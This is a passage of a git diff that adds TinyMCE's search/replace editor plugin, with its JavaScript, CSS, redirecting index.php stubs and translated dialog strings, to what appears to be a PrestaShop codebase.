H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/searchreplace/css/index.php b/js/tiny_mce/plugins/searchreplace/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/searchreplace/css/searchreplace.css b/js/tiny_mce/plugins/searchreplace/css/searchreplace.css new file mode 100755 index 0000000..3e2eaf3 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/css/searchreplace.css @@ -0,0 +1,6 @@ +.panel_wrapper {height:85px;} +.panel_wrapper div.current {height:85px;} + +/* IE */ +* html .panel_wrapper {height:100px;} +* html .panel_wrapper div.current {height:100px;} diff --git a/js/tiny_mce/plugins/searchreplace/editor_plugin.js b/js/tiny_mce/plugins/searchreplace/editor_plugin.js new file mode 100755 index 0000000..165bc12 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.SearchReplacePlugin",{init:function(a,c){function b(d){window.focus();a.windowManager.open({file:c+"/searchreplace.htm",width:420+parseInt(a.getLang("searchreplace.delta_width",0)),height:170+parseInt(a.getLang("searchreplace.delta_height",0)),inline:1,auto_focus:0},{mode:d,search_string:a.selection.getContent({format:"text"}),plugin_url:c})}a.addCommand("mceSearch",function(){b("search")});a.addCommand("mceReplace",function(){b("replace")});a.addButton("search",{title:"searchreplace.search_desc",cmd:"mceSearch"});a.addButton("replace",{title:"searchreplace.replace_desc",cmd:"mceReplace"});a.addShortcut("ctrl+f","searchreplace.search_desc","mceSearch")},getInfo:function(){return{longname:"Search/Replace",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/searchreplace",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("searchreplace",tinymce.plugins.SearchReplacePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/editor_plugin_src.js b/js/tiny_mce/plugins/searchreplace/editor_plugin_src.js new file mode 100755 index 0000000..b0c013f --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/editor_plugin_src.js @@ -0,0 +1,61 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.SearchReplacePlugin', { + init : function(ed, url) { + function open(m) { + // Keep IE from writing out the f/r character to the editor + // instance while initializing a new dialog. See: #3131190 + window.focus(); + + ed.windowManager.open({ + file : url + '/searchreplace.htm', + width : 420 + parseInt(ed.getLang('searchreplace.delta_width', 0)), + height : 170 + parseInt(ed.getLang('searchreplace.delta_height', 0)), + inline : 1, + auto_focus : 0 + }, { + mode : m, + search_string : ed.selection.getContent({format : 'text'}), + plugin_url : url + }); + }; + + // Register commands + ed.addCommand('mceSearch', function() { + open('search'); + }); + + ed.addCommand('mceReplace', function() { + open('replace'); + }); + + // Register buttons + ed.addButton('search', {title : 'searchreplace.search_desc', cmd : 'mceSearch'}); + ed.addButton('replace', {title : 'searchreplace.replace_desc', cmd : 'mceReplace'}); + + ed.addShortcut('ctrl+f', 'searchreplace.search_desc', 'mceSearch'); + }, + + getInfo : function() { + return { + longname : 'Search/Replace', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/searchreplace', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('searchreplace', tinymce.plugins.SearchReplacePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/index.php b/js/tiny_mce/plugins/searchreplace/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/searchreplace/js/index.php b/js/tiny_mce/plugins/searchreplace/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/searchreplace/js/searchreplace.js b/js/tiny_mce/plugins/searchreplace/js/searchreplace.js new file mode 100755 index 0000000..b1630ca --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/js/searchreplace.js @@ -0,0 +1,142 @@ +tinyMCEPopup.requireLangPack(); + +var SearchReplaceDialog = { + init : function(ed) { + var t = this, f = document.forms[0], m = tinyMCEPopup.getWindowArg("mode"); + + t.switchMode(m); + + f[m + '_panel_searchstring'].value = tinyMCEPopup.getWindowArg("search_string"); + + // Focus input field + f[m + '_panel_searchstring'].focus(); + + mcTabs.onChange.add(function(tab_id, panel_id) { + t.switchMode(tab_id.substring(0, tab_id.indexOf('_'))); + }); + }, + + switchMode : function(m) { + var f, lm = this.lastMode; + + if (lm != m) { + f = document.forms[0]; + + if (lm) { + f[m + '_panel_searchstring'].value = f[lm + '_panel_searchstring'].value; + f[m + '_panel_backwardsu'].checked = f[lm + '_panel_backwardsu'].checked; + f[m + '_panel_backwardsd'].checked = f[lm + '_panel_backwardsd'].checked; + f[m + '_panel_casesensitivebox'].checked = f[lm + '_panel_casesensitivebox'].checked; + } + + mcTabs.displayTab(m + '_tab', m + '_panel'); + document.getElementById("replaceBtn").style.display = (m == "replace") ? "inline" : "none"; + document.getElementById("replaceAllBtn").style.display = (m == "replace") ? "inline" : "none"; + this.lastMode = m; + } + }, + + searchNext : function(a) { + var ed = tinyMCEPopup.editor, se = ed.selection, r = se.getRng(), f, m = this.lastMode, s, b, fl = 0, w = ed.getWin(), wm = ed.windowManager, fo = 0; + + // Get input + f = document.forms[0]; + s = f[m + '_panel_searchstring'].value; + b = f[m + '_panel_backwardsu'].checked; + ca = f[m + '_panel_casesensitivebox'].checked; + rs = f['replace_panel_replacestring'].value; + + if (tinymce.isIE) { + r = ed.getDoc().selection.createRange(); + } + + if (s == '') + return; + + function fix() { + // Correct Firefox graphics glitches + // TODO: Verify if this is actually needed any more, maybe it was for very old FF versions? + r = se.getRng().cloneRange(); + ed.getDoc().execCommand('SelectAll', false, null); + se.setRng(r); + }; + + function replace() { + ed.selection.setContent(rs); // Needs to be duplicated due to selection bug in IE + }; + + // IE flags + if (ca) + fl = fl | 4; + + switch (a) { + case 'all': + // Move caret to beginning of text + ed.execCommand('SelectAll'); + ed.selection.collapse(true); + + if (tinymce.isIE) { + ed.focus(); + r = ed.getDoc().selection.createRange(); + + while (r.findText(s, b ? -1 : 1, fl)) { + r.scrollIntoView(); + r.select(); + replace(); + fo = 1; + + if (b) { + r.moveEnd("character", -(rs.length)); // Otherwise will loop forever + } + } + + tinyMCEPopup.storeSelection(); + } else { + while (w.find(s, ca, b, false, false, false, false)) { + replace(); + fo = 1; + } + } + + if (fo) + tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.allreplaced')); + else + tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound')); + + return; + + case 'current': + if (!ed.selection.isCollapsed()) + replace(); + + break; + } + + se.collapse(b); + r = se.getRng(); + + // Whats the point + if (!s) + return; + + if (tinymce.isIE) { + ed.focus(); + r = ed.getDoc().selection.createRange(); + + if (r.findText(s, b ? -1 : 1, fl)) { + r.scrollIntoView(); + r.select(); + } else + tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound')); + + tinyMCEPopup.storeSelection(); + } else { + if (!w.find(s, ca, b, false, false, false, false)) + tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound')); + else + fix(); + } + } +}; + +tinyMCEPopup.onInit.add(SearchReplaceDialog.init, SearchReplaceDialog); diff --git a/js/tiny_mce/plugins/searchreplace/langs/ar_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/ar_dlg.js new file mode 100755 index 0000000..4e6674b --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.searchreplace_dlg',{findwhat:"\u0627\u0628\u062d\u062b \u0639\u0646",replacewith:"\u0627\u0633\u062a\u0628\u062f\u0644 \u0628\u0640",direction:"\u0627\u0644\u0627\u062a\u062c\u0627\u0647",up:"\u0644\u0623\u0639\u0644\u0649",down:"\u0644\u0623\u0633\u0641\u0644",mcase:"\u062d\u0627\u0644\u0647 \u0627\u0644\u062a\u0637\u0627\u0628\u0642",findnext:"\u0627\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u062a\u0627\u0644\u0649",allreplaced:"\u062a\u0645\u062a \u0639\u0645\u0644\u064a\u0647 \u0627\u0644\u0627\u0633\u062a\u0628\u062f\u0627\u0644","searchnext_desc":"\u0628\u062d\u062b \u0645\u0631\u0647 \u0627\u062e\u0631\u0649",notfound:"\u0644\u0642\u062f \u0627\u0646\u062a\u0647\u0649 \u0627\u0644\u0628\u062d\u062b \u0648\u0644\u0645 \u0646\u0639\u062b\u0631 \u0639\u0644\u0649 \u0627\u0649 \u0646\u062a\u064a\u062c\u0647","search_title":"\u0628\u062d\u062b","replace_title":"\u0628\u062d\u062b/\u0627\u0633\u062a\u0628\u062f\u0627\u0644",replaceall:"\u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0627\u0644\u0643\u0644",replace:"\u0627\u0633\u062a\u0628\u062f\u0627\u0644"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/az_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/az_dlg.js new file mode 100755 index 0000000..d9085f8 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.searchreplace_dlg',{findwhat:"N\u0259 axtar\u0131ls\u0131n",replacewith:"N\u0259y\u0259 d\u0259yi\u015filsin",direction:"\u0130stiqam\u0259tl\u0259ndirm\u0259",up:"Yuxar\u0131",down:"A\u015fa\u011f\u0131",mcase:"Registr\u0131 n\u0259z\u0259r\u0259 al",findnext:"Sonrak\u0131n\u0131 axtar",allreplaced:"B\u00fct\u00fcn qar\u015f\u0131la\u015fm\u0131\u015f s\u0259trl\u0259r d\u0259yi\u015fdirildi.","searchnext_desc":"S\u00f6zl\u0259ri axtar",notfound:"Axtar\u0131\u015f bitdi. S\u0259tr tap\u0131lmad\u0131.","search_title":"Axtar","replace_title":"Axtar/D\u0259yi\u015f",replaceall:"Ham\u0131s\u0131n\u0131 d\u0259yi\u015f",replace:"D\u0259yi\u015f"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/bg_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/bg_dlg.js new file mode 100755 index 0000000..6560e0f --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.searchreplace_dlg',{findwhat:"\u0422\u044a\u0440\u0441\u0438",replacewith:"\u0417\u0430\u043c\u0435\u0441\u0442\u0438 \u0441",direction:"\u041f\u043e\u0441\u043e\u043a\u0430",up:"\u041d\u0430\u0433\u043e\u0440\u0435",down:"\u041d\u0430\u0434\u043e\u043b\u0443",mcase:"\u0421\u044a\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u044a\u0440\u0430",findnext:"\u0422\u044a\u0440\u0441\u0438 \u0441\u043b\u0435\u0434\u0432\u0430\u0449\u0438",allreplaced:"\u0412\u0441\u0438\u0447\u043a\u0438 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438 \u0434\u0443\u043c\u0438 \u0431\u044f\u0445\u0430 \u0437\u0430\u043c\u0435\u0441\u0442\u0435\u043d\u0438.","searchnext_desc":"\u0422\u044a\u0440\u0441\u0438 \u043e\u0442\u043d\u043e\u0432\u043e",notfound:"\u0422\u044a\u0440\u0441\u0435\u043d\u0435\u0442\u043e \u0437\u0430\u0432\u044a\u0440\u0448\u0438. \u0422\u044a\u0440\u0441\u0435\u043d\u0438\u0442\u0435 \u0434\u0443\u043c\u0438 \u043d\u0435 \u0431\u044f\u0445\u0430 \u043e\u0442\u043a\u0440\u0438\u0442\u0438.","search_title":"\u0422\u044a\u0440\u0441\u0438","replace_title":"\u0422\u044a\u0440\u0441\u0438/\u0417\u0430\u043c\u0435\u0441\u0442\u0438",replaceall:"\u0417\u0430\u043c\u0435\u0441\u0442\u0438 \u0432\u0441\u0438\u0447\u043a\u0438",replace:"\u0417\u0430\u043c\u0435\u0441\u0442\u0438"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/ca_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/ca_dlg.js new file mode 100755 index 0000000..da37295 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.searchreplace_dlg',{findwhat:"Cerca",replacewith:"Reempla\u00e7a amb",direction:"Direcci\u00f3",up:"Amunt",down:"Avall",mcase:"Distingeix maj\u00fascules/min\u00fascules",findnext:"Seg\u00fcent",allreplaced:"S\'han reempla\u00e7at totes les ocurr\u00e8ncies de la cadena cercada.","searchnext_desc":"Cerca de nou",notfound:"S\'ha completat la cerca. No s\'ha trobat la cadena cercada.","search_title":"Cerca","replace_title":"Cerca/Reempla\u00e7a",replaceall:"Reempla\u00e7a-ho tot",replace:"Reempla\u00e7a"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/cs_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/cs_dlg.js new file mode 100755 index 0000000..8165408 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.searchreplace_dlg',{findwhat:"Co hledat",replacewith:"\u010c\u00edm nahradit",direction:"Sm\u011br",up:"Nahoru",down:"Dol\u016f",mcase:"Rozli\u0161ovat velikost",findnext:"Naj\u00edt dal\u0161\u00ed",allreplaced:"V\u0161echny v\u00fdskyty byly nahrazeny.","searchnext_desc":"Naj\u00edt dal\u0161\u00ed",notfound:"Hled\u00e1n\u00ed bylo dokon\u010deno. Hledan\u00fd text nebyl nalezen.","search_title":"Naj\u00edt","replace_title":"Naj\u00edt/nahradit",replaceall:"Nahradit v\u0161e",replace:"Nahradit"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/da_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/da_dlg.js new file mode 100755 index 0000000..b551cea --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.searchreplace_dlg',{findwhat:"S\u00f8g efter",replacewith:"Erstat med",direction:"Retning",up:"Op",down:"Ned",mcase:"Forskel p\u00e5 store og sm\u00e5 bogstaver",findnext:"Find n\u00e6ste",allreplaced:"Alle forekomster af s\u00f8gestrengen er erstattet.","searchnext_desc":"S\u00f8g igen",notfound:"S\u00f8gningen gav intet resultat.","search_title":"S\u00f8g","replace_title":"S\u00f8g / erstat",replaceall:"Erstat alle",replace:"Erstat"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/de_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/de_dlg.js new file mode 100755 index 0000000..7c40acd --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.searchreplace_dlg',{findwhat:"Zu suchender Text",replacewith:"Ersetzen durch",direction:"Suchrichtung",up:"Aufw\u00e4rts",down:"Abw\u00e4rts",mcase:"Gro\u00df-/Kleinschreibung beachten",findnext:"Weitersuchen",allreplaced:"Alle Vorkommen der Zeichenkette wurden ersetzt.","searchnext_desc":"Weitersuchen",notfound:"Die Suche ist am Ende angelangt. Die Zeichenkette konnte nicht gefunden werden.","search_title":"Suchen","replace_title":"Suchen/Ersetzen",replaceall:"Alle ersetzen",replace:"Ersetzen"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/el_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/el_dlg.js new file mode 100755 index 0000000..10e564d --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.searchreplace_dlg',{findwhat:"\u0395\u03cd\u03c1\u03b5\u03c3\u03b7 \u03c4\u03bf\u03c5",replacewith:"\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bc\u03b5",direction:"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7",up:"\u03a0\u03ac\u03bd\u03c9",down:"\u039a\u03ac\u03c4\u03c9",mcase:"\u03a4\u03b1\u03af\u03c1\u03b9\u03b1\u03c3\u03bc\u03b1 \u03ba\u03b5\u03c6\u03b1\u03bb\u03b1\u03af\u03b1/\u03bc\u03b9\u03ba\u03c1\u03ac",findnext:"\u0392\u03c1\u03b5\u03c2 \u03b5\u03c0\u03cc\u03bc\u03b5\u03bd\u03bf",allreplaced:"\u038c\u03bb\u03b5\u03c2 \u03bf\u03b9 \u03b5\u03bc\u03c6\u03b1\u03bd\u03af\u03c3\u03b5\u03b9\u03c2 \u03c4\u03bf\u03c5 \u03b6\u03b7\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf\u03c5 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 \u03b1\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03b1\u03c3\u03c4\u03ac\u03b8\u03b7\u03ba\u03b1\u03bd.","searchnext_desc":"\u0395\u03cd\u03c1\u03b5\u03c3\u03b7 \u03be\u03b1\u03bd\u03ac",notfound:"\u0397 \u03b1\u03bd\u03b1\u03b6\u03ae\u03c4\u03b7\u03c3\u03b7 \u03c4\u03b5\u03bb\u03b5\u03af\u03c9\u03c3\u03b5. \u03a4\u03bf \u03b6\u03b7\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf \u03ba\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03b4\u03b5\u03bd \u03b2\u03c1\u03ad\u03b8\u03b7\u03ba\u03b5.","search_title":"\u0395\u03cd\u03c1\u03b5\u03c3\u03b7","replace_title":"\u0395\u03cd\u03c1\u03b5\u03c3\u03b7/\u0391\u03bd\u03b1\u03b6\u03ae\u03c4\u03b7\u03c3\u03b7",replaceall:"\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4. \u03cc\u03bb\u03c9\u03bd",replace:"\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/en_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/en_dlg.js new file mode 100755 index 0000000..8a65900 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.searchreplace_dlg',{findwhat:"Find What",replacewith:"Replace with",direction:"Direction",up:"Up",down:"Down",mcase:"Match Case",findnext:"Find Next",allreplaced:"All occurrences of the search string were replaced.","searchnext_desc":"Find Again",notfound:"The search has been completed. The search string could not be found.","search_title":"Find","replace_title":"Find/Replace",replaceall:"Replace All",replace:"Replace"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/es_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/es_dlg.js new file mode 100755 index 0000000..62e178d --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.searchreplace_dlg',{findwhat:"Qu\u00e9 buscar",replacewith:"Reemplazar por",direction:"Direcci\u00f3n",up:"Arriba",down:"Abajo",mcase:"Min\u00fas./May\u00fas.",findnext:"Buscar siguiente",allreplaced:"Se ha reemplazado el texto.","searchnext_desc":"Buscar de nuevo",notfound:"La b\u00fasqueda se ha completado. No se encontr\u00f3 el texto introducido.","search_title":"Buscar","replace_title":"Buscar/Reemplazar",replaceall:"Reemplazar todo",replace:"Reemplazar"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/et_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/et_dlg.js new file mode 100755 index 0000000..ef567f7 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.searchreplace_dlg',{findwhat:"Otsi mida",replacewith:"Asenda millega",direction:"Suund",up:"\u00dcles",down:"Alla",mcase:"Vasta suurusele",findnext:"Otsi j\u00e4rgmine",allreplaced:"K\u00f5ik otsis\u00f5na ilmingud on asendatud.","searchnext_desc":"Otsi uuesti",notfound:"Otsing on l\u00f5petatud. Otsis\u00f5na ei leitud.","search_title":"Otsi","replace_title":"Otsi/Asenda",replaceall:"Asenda k\u00f5ik",replace:"Asenda"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/fa_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/fa_dlg.js new file mode 100755 index 0000000..8efb26b --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.searchreplace_dlg',{findwhat:"\u062c\u0633\u062a\u062c\u0648\u06cc \u0686\u0647 \u0686\u06cc\u0632\u06cc",replacewith:"\u062a\u0639\u0648\u06cc\u0636 \u0628\u0627",direction:"\u062c\u0647\u062a",up:"\u0628\u0627\u0644\u0627",down:"\u067e\u0627\u06cc\u06cc\u0646",mcase:"\u0647\u0645\u0633\u0627\u0646 \u0628\u0648\u062f\u0646 \u062d\u0631\u0648\u0641",findnext:"\u062c\u0633\u062a\u062c\u0648\u06cc \u0628\u0639\u062f\u06cc",allreplaced:"\u062a\u0645\u0627\u0645\u06cc \u06a9\u0644\u0645\u0627\u062a \u06cc\u0627\u0641\u062a \u0634\u062f\u0647 \u062a\u063a\u06cc\u06cc\u0631 \u06cc\u0627\u0641\u062a\u0646\u062f","searchnext_desc":"\u062c\u0633\u062a\u062c\u0648\u06cc \u0645\u062c\u062f\u062f",notfound:"\u062c\u0633\u062a\u062c\u0648 \u06a9\u0627\u0645\u0644 \u0634\u062f. \u06a9\u0644\u0645\u0647 \u062c\u0633\u062a\u062c\u0648 \u0634\u062f\u0647 \u06cc\u0627\u0641\u062a \u0646\u0634\u062f","search_title":"\u062c\u0633\u062a\u062c\u0648","replace_title":"\u062c\u0633\u062a\u062c\u0648/\u062a\u0639\u0648\u06cc\u0636",replaceall:"\u062a\u0639\u0648\u06cc\u0636 \u0647\u0645\u0647",replace:"\u062a\u0639\u0648\u06cc\u0636"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/fi_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/fi_dlg.js new file mode 100755 index 0000000..c2617c3 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.searchreplace_dlg',{findwhat:"Etsit\u00e4\u00e4n",replacewith:"Korvataan",direction:"Suunta",up:"Yl\u00f6s",down:"Alas",mcase:"Huomioi isot ja pienet kirjaimet",findnext:"Etsi seuraavaa",allreplaced:"Kaikki l\u00f6ydetyt merkkijonot korvattiin.","searchnext_desc":"Etsi uudestaan",notfound:"Haku on valmis. Haettua teksti\u00e4 ei l\u00f6ytynyt.","search_title":"Haku","replace_title":"Etsi ja korvaa",replaceall:"Korvaa kaikki",replace:"Korvaa"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/fr_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/fr_dlg.js new file mode 100755 index 0000000..707b5c2 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.searchreplace_dlg',{findwhat:"Rechercher ceci",replacewith:"Remplacer par",direction:"Direction",up:"Vers le haut",down:"Vers le bas",mcase:"Sensible \u00e0 la casse",findnext:"Rechercher le suivant",allreplaced:"Toutes les occurrences de la cha\u00eene recherch\u00e9e ont \u00e9t\u00e9 remplac\u00e9es.","searchnext_desc":"Suivant",notfound:"La recherche est termin\u00e9e. La cha\u00eene recherch\u00e9e n\'a pas \u00e9t\u00e9 trouv\u00e9e.","search_title":"Rechercher","replace_title":"Rechercher / remplacer",replaceall:"Tout remplacer",replace:"Remplacer"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/gl_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/gl_dlg.js new file mode 100755 index 0000000..72be08c --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.searchreplace_dlg',{findwhat:"Localizar",replacewith:"Reemplazar por",direction:"Direcci\u00f3n",up:"Arriba",down:"Abaixo",mcase:"Min\u00fas./Mai\u00fas.",findnext:"Buscar seginte",allreplaced:"T\u00f3da-las coincidencias do texto buscado foron reemplazadas.","searchnext_desc":"Buscar outra vez",notfound:"A busca rematou. No se atopou o texto buscado.","search_title":"Buscar","replace_title":"Buscar/Reemplazar",replaceall:"Reemplazar todo",replace:"Reemplazar"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/he_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/he_dlg.js new file mode 100755 index 0000000..c5861bb --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.searchreplace_dlg',{findwhat:"\u05dc\u05d7\u05e4\u05e9 \u05d0\u05ea",replacewith:"\u05dc\u05d4\u05d7\u05dc\u05d9\u05e3 \u05d1",direction:"\u05db\u05d9\u05d5\u05d5\u05df",up:"\u05dc\u05de\u05e2\u05dc\u05d4",down:"\u05dc\u05de\u05d8\u05d4",mcase:"\u05d4\u05ea\u05d0\u05dd \u05d0\u05d5\u05ea\u05d9\u05d5\u05ea \u05e8\u05d9\u05e9\u05d9\u05d5\u05ea",findnext:"\u05d7\u05e4\u05e9 \u05d0\u05ea \u05d4\u05d1\u05d0",allreplaced:"\u05db\u05dc \u05e4\u05e8\u05d9\u05d8\u05d9 \u05d4\u05d7\u05d9\u05e4\u05d5\u05e9 \u05d4\u05d5\u05d7\u05dc\u05e4\u05d5","searchnext_desc":"\u05d7\u05d9\u05e4\u05d5\u05e9 \u05d4\u05d1\u05d0",notfound:"\u05d4\u05d7\u05d9\u05e4\u05d5\u05e9 \u05d4\u05e1\u05ea\u05d9\u05d9\u05dd. \u05e4\u05e8\u05d9\u05d8 \u05d4\u05d7\u05d9\u05e4\u05d5\u05e9 \u05dc\u05d0 \u05e0\u05de\u05e6\u05d0.","search_title":"\u05d7\u05d9\u05e4\u05d5\u05e9","replace_title":"\u05d7\u05d9\u05e4\u05d5\u05e9 \u05d5\u05d4\u05d7\u05dc\u05e4\u05d4",replaceall:"\u05d4\u05d7\u05dc\u05e4\u05ea \u05d4\u05db\u05dc",replace:"\u05d4\u05d7\u05dc\u05e4\u05d4"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/searchreplace/langs/hu_dlg.js b/js/tiny_mce/plugins/searchreplace/langs/hu_dlg.js new file mode 100755 index 0000000..4165838 --- /dev/null +++ b/js/tiny_mce/plugins/searchreplace/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.searchreplace_dlg',{findwhat:"Mit keres",replacewith:"Mire cser\u00e9l",direction:"Ir\u00e1ny",up:"Fel",down:"Le",mcase:"Kis- \u00e9s nagybet\u0171k megk\u00fcl\u00f6nb\u00f6ztet\u00e9se",findnext:"K\u00f6vetkez\u0151",allreplaced:"A keresett r\u00e9szsz\u00f6veg minden 